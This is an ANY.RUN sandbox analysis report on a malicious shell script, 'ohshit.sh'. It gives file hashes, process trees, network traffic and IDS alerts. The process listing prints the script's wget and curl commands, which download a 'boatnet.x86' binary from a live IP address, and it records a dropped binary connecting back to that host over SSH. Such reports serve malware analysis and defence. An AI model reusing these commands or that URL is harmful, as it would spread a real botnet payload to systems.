File name:

ohshit.sh

Full analysis: https://app.any.run/tasks/556e1ec6-3a17-42c1-9031-7ca91116fd3d
Verdict: Malicious activity
Analysis date: May 16, 2025, 08:36:35
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

CD830391C3979ECBC331A7344975AD85

SHA1:

15AC7D729F13A273827AEBAA70171B42101B784D

SHA256:

108849578EAB7C1A6723116ADA303F73BE28F91790E25D8E21122776E00060F8

SSDEEP:

3:TKH/JOnQzanFCKl2f0FWjjVkI7a5ZcjjVkI769fRW74zOdIn:IOnFflE0Fin7aLQn70RW743n

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • WTF (PID: 39900)
      • WTF (PID: 39902)
      • WTF (PID: 39903)
      • WTF (PID: 39901)
  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 39863)
    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 39867)
    • Reads passwd file

      • curl (PID: 39867)
      • dumpe2fs (PID: 39885)
      • dumpe2fs (PID: 39897)
    • Uses wget to download content

      • bash (PID: 39864)
    • Modifies file or directory owner

      • sudo (PID: 39860)
    • Potential Corporate Privacy Violation

      • curl (PID: 39867)
      • wget (PID: 39866)
    • Connects to SSH

      • WTF (PID: 39903)
  • INFO

    • Checks timezone

      • wget (PID: 39866)
      • dumpe2fs (PID: 39897)
      • dumpe2fs (PID: 39885)
    • Creates file in the temporary folder

      • wget (PID: 39866)
      • curl (PID: 39867)
      • cat (PID: 39898)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
20
Malicious processes
1
Suspicious processes
3

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs cat no specs chmod no specs wtf no specs wtf no specs wtf no specs wtf

Process information

PID
CMD
Path
Indicators
Parent process
39859/bin/sh -c "sudo chown user /tmp/ohshit\.sh && chmod +x /tmp/ohshit\.sh && DISPLAY=:0 sudo -iu user /tmp/ohshit\.sh "/usr/bin/dashoF5qt7VjSoEVMhQn
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39860sudo chown user /tmp/ohshit.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39861chown user /tmp/ohshit.sh/usr/bin/chownsudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39862chmod +x /tmp/ohshit.sh/usr/bin/chmoddash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39863sudo -iu user /tmp/ohshit.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39864/bin/bash /tmp/ohshit.sh/usr/bin/bashsudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
39865/usr/bin/locale-check C.UTF-8/usr/bin/locale-checkbash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39866wget http://185.12.204.118/hiddenbin/boatnet.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
39867/snap/curl/1754/bin/curl -O http://185.12.204.118/hiddenbin/boatnet.x86/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libudev.so.1.7.2
/usr/lib/x86_64-linux-gnu/libdl.so.2
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/snap/curl/1754/lib/libcurl.so.4.8.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.19.0
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.6
39878/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info/snap/snapd/20290/usr/lib/snapd/snap-seccompcurl
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
39866wget/tmp/boatnet.x86binary
MD5:
SHA256:
39898cat/tmp/WTFo
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
11
DNS requests
13
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
204
185.125.190.97:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
39866
wget
GET
200
185.12.204.118:80
http://185.12.204.118/hiddenbin/boatnet.x86
unknown
unknown
39867
curl
GET
200
185.12.204.118:80
http://185.12.204.118/hiddenbin/boatnet.x86
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
185.125.190.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
unknown
185.125.190.17:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
169.150.255.180:443
odrs.gnome.org
GB
whitelisted
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39866
wget
185.12.204.118:80
SkyLink Data Center BV
LU
unknown
39867
curl
185.12.204.118:80
SkyLink Data Center BV
LU
unknown
39903
WTF
185.12.204.118:22
SkyLink Data Center BV
LU
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 185.125.190.97
  • 91.189.91.96
  • 185.125.190.17
  • 185.125.190.48
  • 185.125.190.96
  • 185.125.190.49
  • 91.189.91.48
  • 91.189.91.98
  • 185.125.190.18
  • 185.125.190.98
  • 91.189.91.49
  • 2620:2d:4002:1::196
  • 2001:67c:1562::24
  • 2001:67c:1562::23
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
whitelisted
google.com
  • 142.250.185.206
  • 2a00:1450:4001:80b::200e
whitelisted
odrs.gnome.org
  • 169.150.255.180
  • 37.19.194.80
  • 169.150.255.184
  • 207.211.211.26
  • 212.102.56.179
  • 195.181.175.40
  • 195.181.170.19
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::107
whitelisted
api.snapcraft.io
  • 185.125.188.54
  • 185.125.188.57
  • 185.125.188.58
  • 185.125.188.59
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::2e6
whitelisted
9.100.168.192.in-addr.arpa
unknown

Threats

PID
Process
Class
Message
39866
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
39866
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
39866
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39867
curl
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
39867
curl
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
39867
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
39867
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info